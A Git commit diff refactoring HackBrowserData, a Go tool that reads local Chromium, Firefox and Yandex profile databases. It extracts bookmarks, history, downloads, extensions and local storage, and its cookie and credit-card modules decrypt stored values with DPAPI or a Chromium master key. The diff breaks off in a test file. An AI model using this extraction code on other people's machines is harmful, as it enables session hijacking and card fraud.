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refactor: Optimize traversal browser data logic (#311)

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* refactor: Refactor package names and imports for better code organization.
* refactor: Package imports and variable types for consistency
* chore: Disable unused-parameter rule in revive.
* refactor: Refactor and organize data extraction and browserdata parse.
* fix: rename wrong error message info
This commit is contained in:
ᴍᴏᴏɴD4ʀᴋ
2024-04-12 19:10:41 +08:00
parent c31cf602ed
commit 536f2082f9
35 changed files with 449 additions and 353 deletions
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browserdata/bookmark/bookmark.go
+158
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package bookmark
import (
"database/sql"
"log/slog"
"os"
"sort"
"time"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // import sqlite3 driver
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumBookmark, func() extractor.Extractor {
return new(ChromiumBookmark)
})
extractor.RegisterExtractor(types.FirefoxBookmark, func() extractor.Extractor {
return new(FirefoxBookmark)
})
}
type ChromiumBookmark []bookmark
type bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}
func (c *ChromiumBookmark) Extract(_ []byte) error {
bookmarks, err := fileutil.ReadFile(types.ChromiumBookmark.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumBookmark.TempFilename())
r := gjson.Parse(bookmarks)
if r.Exists() {
roots := r.Get("roots")
roots.ForEach(func(key, value gjson.Result) bool {
getBookmarkChildren(value, c)
return true
})
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].DateAdded.After((*c)[j].DateAdded)
})
return nil
}
const (
bookmarkID = "id"
bookmarkAdded = "date_added"
bookmarkURL = "url"
bookmarkName = "name"
bookmarkType = "type"
bookmarkChildren = "children"
)
func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) {
nodeType := value.Get(bookmarkType)
children = value.Get(bookmarkChildren)
bm := bookmark{
ID: value.Get(bookmarkID).Int(),
Name: value.Get(bookmarkName).String(),
URL: value.Get(bookmarkURL).String(),
DateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()),
}
if nodeType.Exists() {
bm.Type = nodeType.String()
*w = append(*w, bm)
if children.Exists() && children.IsArray() {
for _, v := range children.Array() {
children = getBookmarkChildren(v, w)
}
}
}
return children
}
func (c *ChromiumBookmark) Name() string {
return "bookmark"
}
func (c *ChromiumBookmark) Len() int {
return len(*c)
}
type FirefoxBookmark []bookmark
const (
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxBookmark) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxBookmark.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxBookmark.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
slog.Error("close journal mode error", "err", err)
}
rows, err := db.Query(queryFirefoxBookMark)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
id, bt, dateAdded int64
title, url string
)
if err = rows.Scan(&id, &url, &bt, &dateAdded, &title); err != nil {
slog.Error("scan bookmark error", "err", err)
}
*f = append(*f, bookmark{
ID: id,
Name: title,
Type: linkType(bt),
URL: url,
DateAdded: typeutil.TimeStamp(dateAdded / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].DateAdded.After((*f)[j].DateAdded)
})
return nil
}
func (f *FirefoxBookmark) Name() string {
return "bookmark"
}
func (f *FirefoxBookmark) Len() int {
return len(*f)
}
func linkType(a int64) string {
switch a {
case 1:
return "url"
default:
return "folder"
}
}
browserdata/browserdata.go
+68
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package browserdata
import (
"log/slog"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type BrowserData struct {
extractors map[types.DataType]extractor.Extractor
}
func New(items []types.DataType) *BrowserData {
bd := &BrowserData{
extractors: make(map[types.DataType]extractor.Extractor),
}
bd.addExtractors(items)
return bd
}
func (d *BrowserData) Recovery(masterKey []byte) error {
for _, source := range d.extractors {
if err := source.Extract(masterKey); err != nil {
slog.Error("parse error", "source_data", source.Name(), "err", err.Error())
continue
}
}
return nil
}
func (d *BrowserData) Output(dir, browserName, flag string) {
output := newOutPutter(flag)
for _, source := range d.extractors {
if source.Len() == 0 {
// if the length of the export data is 0, then it is not necessary to output
continue
}
filename := fileutil.Filename(browserName, source.Name(), output.Ext())
f, err := output.CreateFile(dir, filename)
if err != nil {
slog.Error("create file error", "filename", filename, "err", err.Error())
continue
}
if err := output.Write(source, f); err != nil {
slog.Error("write to file error", "filename", filename, "err", err.Error())
continue
}
if err := f.Close(); err != nil {
slog.Error("close file error", "filename", filename, "err", err.Error())
continue
}
slog.Warn("export success", "filename", filename)
}
}
func (d *BrowserData) addExtractors(items []types.DataType) {
for _, itemType := range items {
if source := extractor.CreateExtractor(itemType); source != nil {
d.extractors[itemType] = source
} else {
slog.Debug("source not found", "source", itemType)
}
}
}
browserdata/cookie/cookie.go
+162
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package cookie
import (
"database/sql"
"log/slog"
"os"
"sort"
"time"
// import sqlite3 driver
_ "modernc.org/sqlite"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumCookie, func() extractor.Extractor {
return new(ChromiumCookie)
})
extractor.RegisterExtractor(types.FirefoxCookie, func() extractor.Extractor {
return new(FirefoxCookie)
})
}
type ChromiumCookie []cookie
type cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
const (
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
)
func (c *ChromiumCookie) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.ChromiumCookie.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumCookie.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumCookie)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
key, host, path string
isSecure, isHTTPOnly, hasExpire, isPersistent int
createDate, expireDate int64
value, encryptValue []byte
)
if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
slog.Error("scan chromium cookie error", "err", err)
}
cookie := cookie{
KeyName: key,
Host: host,
Path: path,
encryptValue: encryptValue,
IsSecure: typeutil.IntToBool(isSecure),
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
HasExpire: typeutil.IntToBool(hasExpire),
IsPersistent: typeutil.IntToBool(isPersistent),
CreateDate: typeutil.TimeEpoch(createDate),
ExpireDate: typeutil.TimeEpoch(expireDate),
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DecryptWithDPAPI(encryptValue)
} else {
value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
}
if err != nil {
slog.Error("decrypt chromium cookie error", "err", err)
}
}
cookie.Value = string(value)
*c = append(*c, cookie)
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
})
return nil
}
func (c *ChromiumCookie) Name() string {
return "cookie"
}
func (c *ChromiumCookie) Len() int {
return len(*c)
}
type FirefoxCookie []cookie
const (
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
)
func (f *FirefoxCookie) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxCookie.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxCookie.TempFilename())
defer db.Close()
rows, err := db.Query(queryFirefoxCookie)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, value, host, path string
isSecure, isHTTPOnly int
creationTime, expiry int64
)
if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHTTPOnly); err != nil {
slog.Error("scan firefox cookie error", "err", err)
}
*f = append(*f, cookie{
KeyName: name,
Host: host,
Path: path,
IsSecure: typeutil.IntToBool(isSecure),
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
CreateDate: typeutil.TimeStamp(creationTime / 1000000),
ExpireDate: typeutil.TimeStamp(expiry),
Value: value,
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].CreateDate.After((*f)[j].CreateDate)
})
return nil
}
func (f *FirefoxCookie) Name() string {
return "cookie"
}
func (f *FirefoxCookie) Len() int {
return len(*f)
}
browserdata/creditcard/creditcard.go
+147
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package creditcard
import (
"database/sql"
"log/slog"
"os"
// import sqlite3 driver
_ "modernc.org/sqlite"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
)
func init() {
extractor.RegisterExtractor(types.ChromiumCreditCard, func() extractor.Extractor {
return new(ChromiumCreditCard)
})
extractor.RegisterExtractor(types.YandexCreditCard, func() extractor.Extractor {
return new(YandexCreditCard)
})
}
type ChromiumCreditCard []card
type card struct {
GUID string
Name string
ExpirationYear string
ExpirationMonth string
CardNumber string
Address string
NickName string
}
const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
)
func (c *ChromiumCreditCard) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.ChromiumCreditCard.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumCreditCard.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumCredit)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, month, year, guid, address, nickname string
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
slog.Error("scan chromium credit card error", "err", err)
}
ccInfo := card{
GUID: guid,
Name: name,
ExpirationMonth: month,
ExpirationYear: year,
Address: address,
NickName: nickname,
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DecryptWithDPAPI(encryptValue)
} else {
value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
}
if err != nil {
slog.Error("decrypt chromium credit card error", "err", err)
}
}
ccInfo.CardNumber = string(value)
*c = append(*c, ccInfo)
}
return nil
}
func (c *ChromiumCreditCard) Name() string {
return "creditcard"
}
func (c *ChromiumCreditCard) Len() int {
return len(*c)
}
type YandexCreditCard []card
func (c *YandexCreditCard) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.YandexCreditCard.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.YandexCreditCard.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumCredit)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, month, year, guid, address, nickname string
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
slog.Error("scan chromium credit card error", "err", err)
}
ccInfo := card{
GUID: guid,
Name: name,
ExpirationMonth: month,
ExpirationYear: year,
Address: address,
NickName: nickname,
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DecryptWithDPAPI(encryptValue)
} else {
value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
}
if err != nil {
slog.Error("decrypt chromium credit card error", "err", err)
}
}
ccInfo.CardNumber = string(value)
*c = append(*c, ccInfo)
}
return nil
}
func (c *YandexCreditCard) Name() string {
return "creditcard"
}
func (c *YandexCreditCard) Len() int {
return len(*c)
}
browserdata/download/download.go
+146
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package download
import (
"database/sql"
"log/slog"
"os"
"sort"
"strings"
"time"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // import sqlite3 driver
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumDownload, func() extractor.Extractor {
return new(ChromiumDownload)
})
extractor.RegisterExtractor(types.FirefoxDownload, func() extractor.Extractor {
return new(FirefoxDownload)
})
}
type ChromiumDownload []download
type download struct {
TargetPath string
URL string
TotalBytes int64
StartTime time.Time
EndTime time.Time
MimeType string
}
const (
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
)
func (c *ChromiumDownload) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.ChromiumDownload.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumDownload.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumDownload)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
targetPath, tabURL, mimeType string
totalBytes, startTime, endTime int64
)
if err := rows.Scan(&targetPath, &tabURL, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
slog.Warn("scan chromium download error", "err", err)
}
data := download{
TargetPath: targetPath,
URL: tabURL,
TotalBytes: totalBytes,
StartTime: typeutil.TimeEpoch(startTime),
EndTime: typeutil.TimeEpoch(endTime),
MimeType: mimeType,
}
*c = append(*c, data)
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].TotalBytes > (*c)[j].TotalBytes
})
return nil
}
func (c *ChromiumDownload) Name() string {
return "download"
}
func (c *ChromiumDownload) Len() int {
return len(*c)
}
type FirefoxDownload []download
const (
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxDownload) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxDownload.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxDownload.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
slog.Error("close journal mode error", "err", err)
}
rows, err := db.Query(queryFirefoxDownload)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
content, url string
placeID, dateAdded int64
)
if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
slog.Warn("scan firefox download error", "err", err)
}
contentList := strings.Split(content, ",{")
if len(contentList) > 1 {
path := contentList[0]
json := "{" + contentList[1]
endTime := gjson.Get(json, "endTime")
fileSize := gjson.Get(json, "fileSize")
*f = append(*f, download{
TargetPath: path,
URL: url,
TotalBytes: fileSize.Int(),
StartTime: typeutil.TimeStamp(dateAdded / 1000000),
EndTime: typeutil.TimeStamp(endTime.Int() / 1000),
})
}
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].TotalBytes < (*f)[j].TotalBytes
})
return nil
}
func (f *FirefoxDownload) Name() string {
return "download"
}
func (f *FirefoxDownload) Len() int {
return len(*f)
}
browserdata/extension/extension.go
+187
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package extension
import (
"fmt"
"os"
"strings"
"github.com/tidwall/gjson"
"golang.org/x/text/language"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumExtension, func() extractor.Extractor {
return new(ChromiumExtension)
})
extractor.RegisterExtractor(types.FirefoxExtension, func() extractor.Extractor {
return new(FirefoxExtension)
})
}
type ChromiumExtension []*extension
type extension struct {
ID string
URL string
Enabled bool
Name string
Description string
Version string
HomepageURL string
}
func (c *ChromiumExtension) Extract(_ []byte) error {
extensionFile, err := fileutil.ReadFile(types.ChromiumExtension.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumExtension.TempFilename())
result, err := parseChromiumExtensions(extensionFile)
if err != nil {
return err
}
*c = result
return nil
}
func parseChromiumExtensions(content string) ([]*extension, error) {
settingKeys := []string{
"settings.extensions",
"settings.settings",
"extensions.settings",
}
var settings gjson.Result
for _, key := range settingKeys {
settings = gjson.Parse(content).Get(key)
if settings.Exists() {
break
}
}
if !settings.Exists() {
return nil, fmt.Errorf("cannot find extensions in settings")
}
var c []*extension
settings.ForEach(func(id, ext gjson.Result) bool {
location := ext.Get("location")
if !location.Exists() {
return true
}
switch location.Int() {
case 5, 10: // https://source.chromium.org/chromium/chromium/src/+/main:extensions/common/mojom/manifest.mojom
return true
}
// https://source.chromium.org/chromium/chromium/src/+/main:extensions/browser/disable_reason.h
enabled := !ext.Get("disable_reasons").Exists()
b := ext.Get("manifest")
if !b.Exists() {
c = append(c, &extension{
ID: id.String(),
Enabled: enabled,
Name: ext.Get("path").String(),
})
return true
}
c = append(c, &extension{
ID: id.String(),
URL: getChromiumExtURL(id.String(), b.Get("update_url").String()),
Enabled: enabled,
Name: b.Get("name").String(),
Description: b.Get("description").String(),
Version: b.Get("version").String(),
HomepageURL: b.Get("homepage_url").String(),
})
return true
})
return c, nil
}
func getChromiumExtURL(id, updateURL string) string {
if strings.HasSuffix(updateURL, "clients2.google.com/service/update2/crx") {
return "https://chrome.google.com/webstore/detail/" + id
} else if strings.HasSuffix(updateURL, "edge.microsoft.com/extensionwebstorebase/v1/crx") {
return "https://microsoftedge.microsoft.com/addons/detail/" + id
}
return ""
}
func (c *ChromiumExtension) Name() string {
return "extension"
}
func (c *ChromiumExtension) Len() int {
return len(*c)
}
type FirefoxExtension []*extension
var lang = language.Und
func (f *FirefoxExtension) Extract(_ []byte) error {
s, err := fileutil.ReadFile(types.FirefoxExtension.TempFilename())
if err != nil {
return err
}
_ = os.Remove(types.FirefoxExtension.TempFilename())
j := gjson.Parse(s)
for _, v := range j.Get("addons").Array() {
// https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/internal/XPIDatabase.jsm#157
if v.Get("location").String() != "app-profile" {
continue
}
if lang != language.Und {
locale := findFirefoxLocale(v.Get("locales").Array(), lang)
*f = append(*f, &extension{
ID: v.Get("id").String(),
Enabled: v.Get("active").Bool(),
Name: locale.Get("name").String(),
Description: locale.Get("description").String(),
Version: v.Get("version").String(),
HomepageURL: locale.Get("homepageURL").String(),
})
continue
}
*f = append(*f, &extension{
ID: v.Get("id").String(),
Enabled: v.Get("active").Bool(),
Name: v.Get("defaultLocale.name").String(),
Description: v.Get("defaultLocale.description").String(),
Version: v.Get("version").String(),
HomepageURL: v.Get("defaultLocale.homepageURL").String(),
})
}
return nil
}
func findFirefoxLocale(locales []gjson.Result, targetLang language.Tag) gjson.Result {
tags := make([]language.Tag, 0, len(locales))
indices := make([]int, 0, len(locales))
for i, locale := range locales {
for _, tagStr := range locale.Get("locales").Array() {
tag, _ := language.Parse(tagStr.String())
if tag == language.Und {
continue
}
tags = append(tags, tag)
indices = append(indices, i)
}
}
_, tagIndex, _ := language.NewMatcher(tags).Match(targetLang)
return locales[indices[tagIndex]]
}
func (f *FirefoxExtension) Name() string {
return "extension"
}
func (f *FirefoxExtension) Len() int {
return len(*f)
}
browserdata/history/history.go
+137
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@@ -0,0 +1,137 @@
package history
import (
"database/sql"
"log/slog"
"os"
"sort"
"time"
// import sqlite3 driver
_ "modernc.org/sqlite"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumHistory, func() extractor.Extractor {
return new(ChromiumHistory)
})
extractor.RegisterExtractor(types.FirefoxHistory, func() extractor.Extractor {
return new(FirefoxHistory)
})
}
type ChromiumHistory []history
type history struct {
Title string
URL string
VisitCount int
LastVisitTime time.Time
}
const (
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
)
func (c *ChromiumHistory) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.ChromiumHistory.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumHistory.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumHistory)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
url, title string
visitCount int
lastVisitTime int64
)
if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
slog.Warn("scan chromium history error", "err", err)
}
data := history{
URL: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: typeutil.TimeEpoch(lastVisitTime),
}
*c = append(*c, data)
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].VisitCount > (*c)[j].VisitCount
})
return nil
}
func (c *ChromiumHistory) Name() string {
return "history"
}
func (c *ChromiumHistory) Len() int {
return len(*c)
}
type FirefoxHistory []history
const (
queryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COALESCE(title, ''), visit_count FROM moz_places`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxHistory) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxHistory.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxHistory.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
return err
}
defer db.Close()
rows, err := db.Query(queryFirefoxHistory)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
id, visitDate int64
url, title string
visitCount int
)
if err = rows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {
slog.Error("scan firefox history error", "err", err)
}
*f = append(*f, history{
Title: title,
URL: url,
VisitCount: visitCount,
LastVisitTime: typeutil.TimeStamp(visitDate / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].VisitCount < (*f)[j].VisitCount
})
return nil
}
func (f *FirefoxHistory) Name() string {
return "history"
}
func (f *FirefoxHistory) Len() int {
return len(*f)
}
browserdata/imports.go
+20
View File
@@ -0,0 +1,20 @@
// Package browserdata is responsible for initializing all the necessary
// components that handle different types of browser data extraction.
// This file, imports.go, is specifically used to import various data
// handler packages to ensure their initialization logic is executed.
// These imports are crucial as they trigger the `init()` functions
// within each package, which typically handle registration of their
// specific data handlers to a central registry.
package browserdata
import (
_ "github.com/moond4rk/hackbrowserdata/browserdata/bookmark"
_ "github.com/moond4rk/hackbrowserdata/browserdata/cookie"
_ "github.com/moond4rk/hackbrowserdata/browserdata/creditcard"
_ "github.com/moond4rk/hackbrowserdata/browserdata/download"
_ "github.com/moond4rk/hackbrowserdata/browserdata/extension"
_ "github.com/moond4rk/hackbrowserdata/browserdata/history"
_ "github.com/moond4rk/hackbrowserdata/browserdata/localstorage"
_ "github.com/moond4rk/hackbrowserdata/browserdata/password"
_ "github.com/moond4rk/hackbrowserdata/browserdata/sessionstorage"
)
browserdata/localstorage/localstorage.go
+167
View File
@@ -0,0 +1,167 @@
package localstorage
import (
"bytes"
"database/sql"
"fmt"
"log/slog"
"os"
"strings"
"github.com/syndtr/goleveldb/leveldb"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/byteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumLocalStorage, func() extractor.Extractor {
return new(ChromiumLocalStorage)
})
extractor.RegisterExtractor(types.FirefoxLocalStorage, func() extractor.Extractor {
return new(FirefoxLocalStorage)
})
}
type ChromiumLocalStorage []storage
type storage struct {
IsMeta bool
URL string
Key string
Value string
}
const maxLocalStorageValueLength = 1024 * 2
func (c *ChromiumLocalStorage) Extract(_ []byte) error {
db, err := leveldb.OpenFile(types.ChromiumLocalStorage.TempFilename(), nil)
if err != nil {
return err
}
defer os.RemoveAll(types.ChromiumLocalStorage.TempFilename())
defer db.Close()
iter := db.NewIterator(nil, nil)
for iter.Next() {
key := iter.Key()
value := iter.Value()
s := new(storage)
s.fillKey(key)
// don't all value upper than 2KB
if len(value) < maxLocalStorageValueLength {
s.fillValue(value)
} else {
s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
}
if s.IsMeta {
s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
}
*c = append(*c, *s)
}
iter.Release()
err = iter.Error()
return err
}
func (c *ChromiumLocalStorage) Name() string {
return "localStorage"
}
func (c *ChromiumLocalStorage) Len() int {
return len(*c)
}
func (s *storage) fillKey(b []byte) {
keys := bytes.Split(b, []byte("\x00"))
if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
s.IsMeta = true
s.fillMetaHeader(keys[0])
}
if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
s.fillHeader(keys[0], keys[1])
}
}
func (s *storage) fillMetaHeader(b []byte) {
s.URL = string(bytes.Trim(b, "META:"))
}
func (s *storage) fillHeader(url, key []byte) {
s.URL = string(bytes.Trim(url, "_"))
s.Key = string(bytes.Trim(key, "\x01"))
}
func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
return r, err
}
// fillValue fills value of the storage
// TODO: support unicode charter
func (s *storage) fillValue(b []byte) {
value := bytes.Map(byteutil.OnSplitUTF8Func, b)
s.Value = string(value)
}
type FirefoxLocalStorage []storage
const (
queryLocalStorage = `SELECT originKey, key, value FROM webappsstore2`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxLocalStorage) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxLocalStorage.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxLocalStorage.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
slog.Error("close journal mode error", "err", err)
}
rows, err := db.Query(queryLocalStorage)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var originKey, key, value string
if err = rows.Scan(&originKey, &key, &value); err != nil {
slog.Error("scan firefox local storage error", "err", err)
}
s := new(storage)
s.fillFirefox(originKey, key, value)
*f = append(*f, *s)
}
return nil
}
func (s *storage) fillFirefox(originKey, key, value string) {
// originKey = moc.buhtig.:https:443
p := strings.Split(originKey, ":")
h := typeutil.Reverse([]byte(p[0]))
if bytes.HasPrefix(h, []byte(".")) {
h = h[1:]
}
if len(p) == 3 {
s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
}
s.Key = key
s.Value = value
}
func (f *FirefoxLocalStorage) Name() string {
return "localStorage"
}
func (f *FirefoxLocalStorage) Len() int {
return len(*f)
}
browserdata/localstorage/localstorage_test.go
+33
View File
@@ -0,0 +1,33 @@
package localstorage
import (
"testing"
"github.com/stretchr/testify/assert"
"golang.org/x/text/encoding/unicode"
)
var testCases = []struct {
in []byte
wanted []byte
actual []byte
}{
{
in: []byte{0x0, 0x7b, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x68, 0x0, 0x74, 0x0, 0x74, 0x0, 0x70, 0x0, 0x73, 0x0, 0x3a, 0x0, 0x2f, 0x0, 0x2f, 0x0, 0x77, 0x0, 0x77, 0x0, 0x77, 0x0, 0x2e, 0x0, 0x76, 0x0, 0x6f, 0x0, 0x6c, 0x0, 0x63, 0x0, 0x65, 0x0, 0x6e, 0x0, 0x67, 0x0, 0x69, 0x0, 0x6e, 0x0, 0x65, 0x0, 0x2e, 0x0, 0x63, 0x0, 0x6f, 0x0, 0x6d, 0x0, 0x2f, 0x0, 0x70, 0x0, 0x72, 0x0, 0x6f, 0x0, 0x64, 0x0, 0x75, 0x0, 0x63, 0x0, 0x74, 0x0, 0x73, 0x0, 0x2f, 0x0, 0x66, 0x0, 0x65, 0x0, 0x69, 0x0, 0x6c, 0x0, 0x69, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x74, 0x0, 0x69, 0x0, 0x74, 0x0, 0x6c, 0x0, 0x65, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0xde, 0x98, 0xde, 0x8f, 0x2d, 0x0, 0x6b, 0x70, 0x71, 0x5c, 0x15, 0x5f, 0xce, 0x64, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6d, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x75, 0x0, 0x61, 0x0, 0x6c, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x22, 0x0, 0x7d, 0x0},
wanted: []byte(`{"refer_key":"https://www.volcengine.com/product/feilian","refer_title":"飞连_SSO单点登录_VPN_终端安全合规_便捷Wifi认证-火山引擎","refer_manual_key":""}`),
